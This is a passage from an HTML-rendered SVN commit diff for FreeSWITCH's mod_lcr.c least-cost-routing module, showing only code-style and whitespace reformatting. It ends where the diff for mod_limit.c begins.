</span><del>-        return (lcr_do_lookup(&amp;routes) == SWITCH_STATUS_SUCCESS) ?
-                SWITCH_TRUE : SWITCH_FALSE;
</del><ins>+        return (lcr_do_lookup(&amp;routes) == SWITCH_STATUS_SUCCESS) ? SWITCH_TRUE : SWITCH_FALSE;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t lcr_load_config()
</span><span class="lines">@@ -893,19 +876,16 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* initialize sql here, 'cause we need to verify custom_sql for each profile below */
</span><span class="cx">         if (globals.odbc_dsn) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG
-                                                  , &quot;dsn is \&quot;%s\&quot;, user is \&quot;%s\&quot;\n&quot;
-                                                  , globals.odbc_dsn, globals.odbc_user
-                                                  );
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;dsn is \&quot;%s\&quot;, user is \&quot;%s\&quot;\n&quot;, globals.odbc_dsn, globals.odbc_user);
</ins><span class="cx">                 if (!(dbh = lcr_get_db_handle())) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Cannot Open ODBC Database!\n&quot;);
</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_FALSE, done);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (set_db_random() == SWITCH_TRUE) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Database RANDOM function set to %s\n&quot;, db_random);
</span><span class="cx">         } else {
</span><span class="lines">@@ -926,7 +906,7 @@
</span><span class="cx">                         char *custom_sql = NULL;
</span><span class="cx">                         int argc, x = 0;
</span><span class="cx">                         char *argv[4] = { 0 };
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         SWITCH_STANDARD_STREAM(order_by);
</span><span class="cx"> 
</span><span class="cx">                         for (param = switch_xml_child(x_profile, &quot;param&quot;); param; param = param-&gt;next) {
</span><span class="lines">@@ -934,12 +914,12 @@
</span><span class="cx"> 
</span><span class="cx">                                 var = (char *) switch_xml_attr_soft(param, &quot;name&quot;);
</span><span class="cx">                                 val = (char *) switch_xml_attr_soft(param, &quot;value&quot;);
</span><del>-                                
-                                if (!strcasecmp(var, &quot;order_by&quot;)  &amp;&amp; !zstr(val)) {
</del><ins>+
+                                if (!strcasecmp(var, &quot;order_by&quot;) &amp;&amp; !zstr(val)) {
</ins><span class="cx">                                         thisorder = &amp;order_by;
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;param val is %s\n&quot;, val);
</span><span class="cx">                                         if ((argc = switch_separate_string(val, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><del>-                                                for (x=0; x&lt;argc; x++) {
</del><ins>+                                                for (x = 0; x &lt; argc; x++) {
</ins><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;arg #%d/%d is %s\n&quot;, x, argc, argv[x]);
</span><span class="cx">                                                         if (!zstr(argv[x])) {
</span><span class="cx">                                                                 if (!strcasecmp(argv[x], &quot;quality&quot;)) {
</span><span class="lines">@@ -976,37 +956,37 @@
</span><span class="cx">                                         quote_in_list = val;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (zstr(name)) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;No name specified.\n&quot;);
</span><span class="cx">                         } else {
</span><span class="cx">                                 profile = switch_core_alloc(globals.pool, sizeof(*profile));
</span><span class="cx">                                 memset(profile, 0, sizeof(profile_t));
</span><span class="cx">                                 profile-&gt;name = switch_core_strdup(globals.pool, name);
</span><del>-                                
-                                if (!zstr((char *)order_by.data)) {
-                                        profile-&gt;order_by = switch_core_strdup(globals.pool, (char *)order_by.data);
</del><ins>+
+                                if (!zstr((char *) order_by.data)) {
+                                        profile-&gt;order_by = switch_core_strdup(globals.pool, (char *) order_by.data);
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         /* default to rate */
</span><span class="cx">                                         profile-&gt;order_by = &quot;, ${lcr_rate_field}&quot;;
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 if (!zstr(id_s)) {
</span><del>-                                        profile-&gt;id = (uint16_t)atoi(id_s);
</del><ins>+                                        profile-&gt;id = (uint16_t) atoi(id_s);
</ins><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 /* SWITCH_STANDARD_STREAM doesn't use pools.  but we only have to free sql_stream.data */
</span><span class="cx">                                 SWITCH_STANDARD_STREAM(sql_stream);
</span><span class="cx">                                 if (zstr(custom_sql)) {
</span><span class="cx">                                         /* use default sql */
</span><del>-                                        sql_stream.write_function(&amp;sql_stream, 
-                                                                                          &quot;SELECT l.digits, c.carrier_name, l.${lcr_rate_field}, cg.prefix AS gw_prefix, cg.suffix AS gw_suffix, l.lead_strip, l.trail_strip, l.prefix, l.suffix &quot;
-                                                                                          );
</del><ins>+                                        sql_stream.write_function(&amp;sql_stream,
+                                                                                          &quot;SELECT l.digits, c.carrier_name, l.${lcr_rate_field}, cg.prefix AS gw_prefix, cg.suffix AS gw_suffix, l.lead_strip, l.trail_strip, l.prefix, l.suffix &quot;);
</ins><span class="cx">                                         if (db_check(&quot;SELECT codec from carrier_gateway limit 1&quot;) == SWITCH_TRUE) {
</span><span class="cx">                                                 sql_stream.write_function(&amp;sql_stream, &quot;, cg.codec &quot;);
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;codec field defined.\n&quot;);
</span><span class="cx">                                         } else {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;codec field not defined, please update your lcr carrier_gateway database schema.\n&quot;);
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                                  &quot;codec field not defined, please update your lcr carrier_gateway database schema.\n&quot;);
</ins><span class="cx">                                         }
</span><span class="cx">                                         if (db_check(&quot;SELECT cid from lcr limit 1&quot;) == SWITCH_TRUE) {
</span><span class="cx">                                                 sql_stream.write_function(&amp;sql_stream, &quot;, l.cid &quot;);
</span><span class="lines">@@ -1014,41 +994,38 @@
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;cid field not defined, please update your lcr database schema.\n&quot;);
</span><span class="cx">                                         }
</span><del>-                                        sql_stream.write_function(&amp;sql_stream, &quot;FROM lcr l JOIN carriers c ON l.carrier_id=c.id JOIN carrier_gateway cg ON c.id=cg.carrier_id WHERE c.enabled = '1' AND cg.enabled = '1' AND l.enabled = '1' AND digits IN (&quot;);
</del><ins>+                                        sql_stream.write_function(&amp;sql_stream,
+                                                                                          &quot;FROM lcr l JOIN carriers c ON l.carrier_id=c.id JOIN carrier_gateway cg ON c.id=cg.carrier_id WHERE c.enabled = '1' AND cg.enabled = '1' AND l.enabled = '1' AND digits IN (&quot;);
</ins><span class="cx">                                         sql_stream.write_function(&amp;sql_stream, &quot;${lcr_query_expanded_digits}&quot;);
</span><span class="cx">                                         sql_stream.write_function(&amp;sql_stream, &quot;) AND CURRENT_TIMESTAMP BETWEEN date_start AND date_end &quot;);
</span><span class="cx">                                         if (profile-&gt;id &gt; 0) {
</span><span class="cx">                                                 sql_stream.write_function(&amp;sql_stream, &quot;AND lcr_profile=%d &quot;, profile-&gt;id);
</span><span class="cx">                                         }
</span><del>-                                        sql_stream.write_function(&amp;sql_stream, &quot;ORDER BY digits DESC%s&quot;, 
-                                                                                                                        profile-&gt;order_by);
</del><ins>+                                        sql_stream.write_function(&amp;sql_stream, &quot;ORDER BY digits DESC%s&quot;, profile-&gt;order_by);
</ins><span class="cx">                                         if (db_random) {
</span><span class="cx">                                                 sql_stream.write_function(&amp;sql_stream, &quot;, %s&quot;, db_random);
</span><span class="cx">                                         }
</span><span class="cx">                                         sql_stream.write_function(&amp;sql_stream, &quot;;&quot;);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         custom_sql = sql_stream.data;
</span><span class="cx">                                 }
</span><del>-                                
-                                
</del><ins>+
+
</ins><span class="cx">                                 profile-&gt;profile_has_intralata = db_check(&quot;SELECT intralata_rate FROM lcr LIMIT 1&quot;);
</span><span class="cx">                                 if (profile-&gt;profile_has_intralata != SWITCH_TRUE) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 
-                                                                          &quot;no \&quot;intralata_rate\&quot; field found in the \&quot;lcr\&quot; table, routing by intralata rates will be disabled until the field is added and mod_lcr is reloaded\n&quot;
-                                                                          );
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                          &quot;no \&quot;intralata_rate\&quot; field found in the \&quot;lcr\&quot; table, routing by intralata rates will be disabled until the field is added and mod_lcr is reloaded\n&quot;);
</ins><span class="cx">                                 }
</span><span class="cx">                                 profile-&gt;profile_has_intrastate = db_check(&quot;SELECT intrastate_rate FROM lcr LIMIT 1&quot;);
</span><span class="cx">                                 if (profile-&gt;profile_has_intrastate != SWITCH_TRUE) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 
-                                                                          &quot;no \&quot;intrastate_rate\&quot; field found in the \&quot;lcr\&quot; table, routing by intrastate rates will be disabled until the field is added and mod_lcr is reloaded\n&quot;
-                                                                          );
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                          &quot;no \&quot;intrastate_rate\&quot; field found in the \&quot;lcr\&quot; table, routing by intrastate rates will be disabled until the field is added and mod_lcr is reloaded\n&quot;);
</ins><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 profile-&gt;profile_has_npanxx = db_check(&quot;SELECT npa, nxx, state FROM npa_nxx_company_ocn LIMIT 1&quot;);
</span><span class="cx">                                 if (profile-&gt;profile_has_npanxx != SWITCH_TRUE) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 
-                                                                          &quot;no \&quot;npa_nxx_company_ocn\&quot; table found in the \&quot;lcr\&quot; database, automatic intrastate detection will be disabled until the table is added and mod_lcr is reloaded\n&quot;
-                                                                          );
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                          &quot;no \&quot;npa_nxx_company_ocn\&quot; table found in the \&quot;lcr\&quot; database, automatic intrastate detection will be disabled until the table is added and mod_lcr is reloaded\n&quot;);
</ins><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 if (switch_string_var_check_const(custom_sql) || switch_string_has_escaped_data(custom_sql)) {
</span><span class="lines">@@ -1057,20 +1034,20 @@
</span><span class="cx">                                 if (strstr(custom_sql, &quot;%&quot;)) {
</span><span class="cx">                                         profile-&gt;custom_sql_has_percent = SWITCH_TRUE;
</span><span class="cx">                                 }
</span><del>-                                profile-&gt;custom_sql = switch_core_strdup(globals.pool, (char *)custom_sql);
-                                
</del><ins>+                                profile-&gt;custom_sql = switch_core_strdup(globals.pool, (char *) custom_sql);
+
</ins><span class="cx">                                 if (!zstr(reorder_by_rate)) {
</span><span class="cx">                                         profile-&gt;reorder_by_rate = switch_true(reorder_by_rate);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!zstr(info_in_headers)) {
</span><span class="cx">                                         profile-&gt;info_in_headers = switch_true(info_in_headers);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!zstr(quote_in_list)) {
</span><span class="cx">                                         profile-&gt;quote_in_list = switch_true(quote_in_list);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_core_hash_insert(globals.profile_hash, profile-&gt;name, profile);
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Loaded lcr profile %s.\n&quot;, profile-&gt;name);
</span><span class="cx">                                 /* test the profile */
</span><span class="lines">@@ -1083,7 +1060,7 @@
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Removing INVALID Profile %s.\n&quot;, profile-&gt;name);
</span><span class="cx">                                         switch_core_hash_delete(globals.profile_hash, profile-&gt;name);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         }
</span><span class="cx">                         switch_safe_free(order_by.data);
</span><span class="cx">                         switch_safe_free(sql_stream.data);
</span><span class="lines">@@ -1091,7 +1068,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;No lcr profiles defined.\n&quot;);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* define default profile  */
</span><span class="cx">         if (!globals.default_profile) {
</span><span class="cx">                 profile = switch_core_alloc(globals.pool, sizeof(*profile));
</span><span class="lines">@@ -1102,7 +1079,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Setting system defined default profile.&quot;);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-done:
</del><ins>+  done:
</ins><span class="cx">         switch_cache_db_release_db_handle(&amp;dbh);
</span><span class="cx">         switch_xml_free(xml);
</span><span class="cx">         return status;
</span><span class="lines">@@ -1138,17 +1115,17 @@
</span><span class="cx">         intralata = switch_channel_get_variable(channel, &quot;intralata&quot;);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;intrastate channel var is [%s]\n&quot;, intrastate);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;intralata channel var is [%s]\n&quot;, intralata);
</span><del>-        if (!zstr(intralata) &amp;&amp; !strcasecmp((char *)intralata, &quot;true&quot;)) {
</del><ins>+        if (!zstr(intralata) &amp;&amp; !strcasecmp((char *) intralata, &quot;true&quot;)) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Select routes based on intralata rates\n&quot;);
</span><span class="cx">                 routes.intralata = SWITCH_FALSE;
</span><del>-        } else if (!zstr(intrastate) &amp;&amp; !strcasecmp((char *)intrastate, &quot;true&quot;)) {
</del><ins>+        } else if (!zstr(intrastate) &amp;&amp; !strcasecmp((char *) intrastate, &quot;true&quot;)) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Select routes based on intrastate rates\n&quot;);
</span><span class="cx">                 routes.intrastate = SWITCH_TRUE;
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Select routes based on interstate rates\n&quot;);
</span><span class="cx">                 routes.intrastate = SWITCH_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!caller_profile) {
</span><span class="cx">                 caller_profile = switch_channel_get_caller_profile(channel);
</span><span class="cx">         }
</span><span class="lines">@@ -1173,7 +1150,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;LCR lookup failed for %s\n&quot;, caller_profile-&gt;destination_number);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-end:
</del><ins>+  end:
</ins><span class="cx">         if (!session) {
</span><span class="cx">                 switch_core_destroy_memory_pool(&amp;pool);
</span><span class="cx">         }
</span><span class="lines">@@ -1184,9 +1161,9 @@
</span><span class="cx"> {
</span><span class="cx">         size_t i;
</span><span class="cx"> 
</span><del>-        /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;repeating %d of '%s'\n&quot;, (int)how_many, what);*/
-        
-        for (i=0; i&lt;how_many; i++) {
</del><ins>+        /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;repeating %d of '%s'\n&quot;, (int)how_many, what); */
+
+        for (i = 0; i &lt; how_many; i++) {
</ins><span class="cx">                 str_stream-&gt;write_function(str_stream, &quot;%s&quot;, what);
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="lines">@@ -1227,9 +1204,8 @@
</span><span class="cx">         routes.pool = pool;
</span><span class="cx"> 
</span><span class="cx">         intra = switch_channel_get_variable(channel, &quot;intrastate&quot;);
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;intrastate channel var is [%s]\n&quot;, 
-                                        zstr(intra) ? &quot;undef&quot; : intra);
-        if (zstr(intra) || strcasecmp((char *)intra, &quot;true&quot;)) {
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;intrastate channel var is [%s]\n&quot;, zstr(intra) ? &quot;undef&quot; : intra);
+        if (zstr(intra) || strcasecmp((char *) intra, &quot;true&quot;)) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Select routes based on interstate rates\n&quot;);
</span><span class="cx">                 routes.intrastate = SWITCH_FALSE;
</span><span class="cx">         } else {
</span><span class="lines">@@ -1248,7 +1224,7 @@
</span><span class="cx">                 if (argc &gt; 1) {
</span><span class="cx">                         lcr_profile = argv[1];
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;LCR Lookup on %s using profile %s\n&quot;, dest, lcr_profile);
</span><span class="cx">                 routes.lookup_number = dest;
</span><span class="cx">                 if (caller_profile) {
</span><span class="lines">@@ -1258,7 +1234,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (!(routes.profile = locate_profile(lcr_profile))) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Unknown profile: %s\n&quot;, lcr_profile);
</span><span class="cx">                         goto end;
</span><span class="lines">@@ -1289,16 +1265,17 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;LCR lookup failed for %s\n&quot;, dest);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
-end:
</del><ins>+
+  end:
</ins><span class="cx">         if (!session) {
</span><span class="cx">                 switch_core_destroy_memory_pool(&amp;pool);
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static void write_data(switch_stream_handle_t *stream, switch_bool_t as_xml, const char *key, const char *data, int indent, int maxlen) {
</del><ins>+static void write_data(switch_stream_handle_t *stream, switch_bool_t as_xml, const char *key, const char *data, int indent, int maxlen)
+{
</ins><span class="cx">         if (as_xml) {
</span><del>-                str_repeat(indent*2, &quot; &quot;, stream);
</del><ins>+                str_repeat(indent * 2, &quot; &quot;, stream);
</ins><span class="cx">                 stream-&gt;write_function(stream, &quot;&lt;%s&gt;%s&lt;/%s&gt;\n&quot;, key, data, key);
</span><span class="cx">         } else {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot; | %s&quot;, data);
</span><span class="lines">@@ -1320,15 +1297,13 @@
</span><span class="cx">         switch_event_t *event;
</span><span class="cx">         switch_status_t lookup_status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         switch_bool_t as_xml = SWITCH_FALSE;
</span><del>-        int rowcount=0;
</del><ins>+        int rowcount = 0;
</ins><span class="cx"> 
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 goto usage;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG
-                                          , &quot;data passed to lcr is [%s]\n&quot;, cmd
-                                          );
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;data passed to lcr is [%s]\n&quot;, cmd);
</ins><span class="cx"> 
</span><span class="cx">         if (session) {
</span><span class="cx">                 pool = switch_core_session_get_pool(session);
</span><span class="lines">@@ -1339,7 +1314,7 @@
</span><span class="cx">                 cb_struct.event = event;
</span><span class="cx">         }
</span><span class="cx">         cb_struct.pool = pool;
</span><del>-        
</del><ins>+
</ins><span class="cx">         mydata = switch_core_strdup(pool, cmd);
</span><span class="cx"> 
</span><span class="cx">         if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="lines">@@ -1350,29 +1325,27 @@
</span><span class="cx">                 }
</span><span class="cx">                 if (argc &gt; 2) {
</span><span class="cx">                         int i;
</span><del>-                        for (i=2; i&lt;argc; i++) {
</del><ins>+                        for (i = 2; i &lt; argc; i++) {
</ins><span class="cx">                                 if (!strcasecmp(argv[i], &quot;intrastate&quot;)) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Select routes based on intrastate rates\n&quot;);
</span><span class="cx">                                         cb_struct.intrastate = SWITCH_TRUE;
</span><span class="cx">                                 } else if (!strcasecmp(argv[i], &quot;as&quot;)) {
</span><span class="cx">                                         i++;
</span><span class="cx">                                         if (argv[i] &amp;&amp; !strcasecmp(argv[i], &quot;xml&quot;)) {
</span><del>-                                                        as_xml = SWITCH_TRUE;
-                                                } else {
-                                                        goto usage;
-                                                }
</del><ins>+                                                as_xml = SWITCH_TRUE;
+                                        } else {
+                                                goto usage;
+                                        }
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Set Caller ID to [%s]\n&quot;, argv[i]);
</span><span class="cx">                                         /* the only other option we have right now is caller id */
</span><span class="cx">                                         cb_struct.cid = switch_core_strdup(pool, argv[i]);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                } 
</del><ins>+                }
</ins><span class="cx">                 if (zstr(cb_struct.cid)) {
</span><span class="cx">                         cb_struct.cid = &quot;18005551212&quot;;
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING
-                                                          , &quot;Using default CID [%s]\n&quot;, cb_struct.cid
-                                                          );
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Using default CID [%s]\n&quot;, cb_struct.cid);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -1432,7 +1405,7 @@
</span><span class="cx">                                 if (as_xml) {
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;  &lt;row id=\&quot;%d\&quot;&gt;\n&quot;, rowcount);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 write_data(stream, as_xml, &quot;prefix&quot;, current-&gt;digit_str, 2, maximum_lengths.digit_str);
</span><span class="cx">                                 write_data(stream, as_xml, &quot;carrier_name&quot;, current-&gt;carrier_name, 2, maximum_lengths.carrier_name);
</span><span class="cx">                                 write_data(stream, as_xml, &quot;rate&quot;, current-&gt;rate_str, 2, maximum_lengths.rate);
</span><span class="lines">@@ -1447,7 +1420,7 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         write_data(stream, as_xml, &quot;cid&quot;, &quot;&quot;, 2, maximum_lengths.cid);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 write_data(stream, as_xml, &quot;dialstring&quot;, current-&gt;dialstring, 2, maximum_lengths.dialstring);
</span><span class="cx"> 
</span><span class="cx">                                 if (as_xml) {
</span><span class="lines">@@ -1473,14 +1446,14 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-end:
</del><ins>+  end:
</ins><span class="cx">         if (!session) {
</span><span class="cx">                 if (pool) {
</span><span class="cx">                         switch_core_destroy_memory_pool(&amp;pool);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><del>-usage:
</del><ins>+  usage:
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;USAGE: %s\n&quot;, LCR_SYNTAX);
</span><span class="cx">         goto end;
</span><span class="cx"> }
</span><span class="lines">@@ -1509,7 +1482,7 @@
</span><span class="cx">                         for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                                 switch_hash_this(hi, NULL, NULL, &amp;val);
</span><span class="cx">                                 profile = (profile_t *) val;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 stream-&gt;write_function(stream, &quot;Name:\t\t%s\n&quot;, profile-&gt;name);
</span><span class="cx">                                 if (zstr(profile-&gt;custom_sql)) {
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot; ID:\t\t%d\n&quot;, profile-&gt;id);
</span><span class="lines">@@ -1522,12 +1495,9 @@
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot; has intrastate:\t%s\n&quot;, profile-&gt;profile_has_intrastate ? &quot;true&quot; : &quot;false&quot;);
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot; has intralata:\t%s\n&quot;, profile-&gt;profile_has_intralata ? &quot;true&quot; : &quot;false&quot;);
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot; has npanxx:\t%s\n&quot;, profile-&gt;profile_has_npanxx ? &quot;true&quot; : &quot;false&quot;);
</span><del>-                                stream-&gt;write_function(stream, &quot; Reorder rate:\t%s\n&quot;, 
-                                                                                profile-&gt;reorder_by_rate ? &quot;enabled&quot; : &quot;disabled&quot;);
-                                stream-&gt;write_function(stream, &quot; Info in headers:\t%s\n&quot;, 
-                                                                                profile-&gt;info_in_headers ? &quot;enabled&quot; : &quot;disabled&quot;);
-                                stream-&gt;write_function(stream, &quot; Quote IN() List:\t%s\n&quot;, 
-                                                                                profile-&gt;quote_in_list ? &quot;enabled&quot; : &quot;disabled&quot;);
</del><ins>+                                stream-&gt;write_function(stream, &quot; Reorder rate:\t%s\n&quot;, profile-&gt;reorder_by_rate ? &quot;enabled&quot; : &quot;disabled&quot;);
+                                stream-&gt;write_function(stream, &quot; Info in headers:\t%s\n&quot;, profile-&gt;info_in_headers ? &quot;enabled&quot; : &quot;disabled&quot;);
+                                stream-&gt;write_function(stream, &quot; Quote IN() List:\t%s\n&quot;, profile-&gt;quote_in_list ? &quot;enabled&quot; : &quot;disabled&quot;);
</ins><span class="cx">                                 stream-&gt;write_function(stream, &quot;\n&quot;);
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="lines">@@ -1536,20 +1506,20 @@
</span><span class="cx">         }
</span><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><del>-usage:
</del><ins>+  usage:
</ins><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         stream-&gt;write_function(stream, &quot;-ERR %s\n&quot;, LCR_ADMIN_SYNTAX);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><del>-                
</del><ins>+
</ins><span class="cx"> }
</span><del>-        
</del><ins>+
</ins><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_lcr_load)
</span><span class="cx"> {
</span><span class="cx">         switch_api_interface_t *dialplan_lcr_api_interface;
</span><span class="cx">         switch_api_interface_t *dialplan_lcr_api_admin_interface;
</span><span class="cx">         switch_application_interface_t *app_interface;
</span><span class="cx">         switch_dialplan_interface_t *dp_interface;
</span><del>-        
</del><ins>+
</ins><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx"> 
</span><span class="cx">         if (!switch_odbc_available()) {
</span><span class="lines">@@ -1573,7 +1543,7 @@
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;lcr&quot;, &quot;Perform an LCR lookup&quot;, &quot;Perform an LCR lookup&quot;,
</span><span class="cx">                                    lcr_app_function, &quot;&lt;number&gt;&quot;, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span><span class="cx">         SWITCH_ADD_DIALPLAN(dp_interface, &quot;lcr&quot;, lcr_dialplan_hunt);
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_limitmod_limitc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_limit/mod_limit.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_limit/mod_limit.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_limit/mod_limit.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
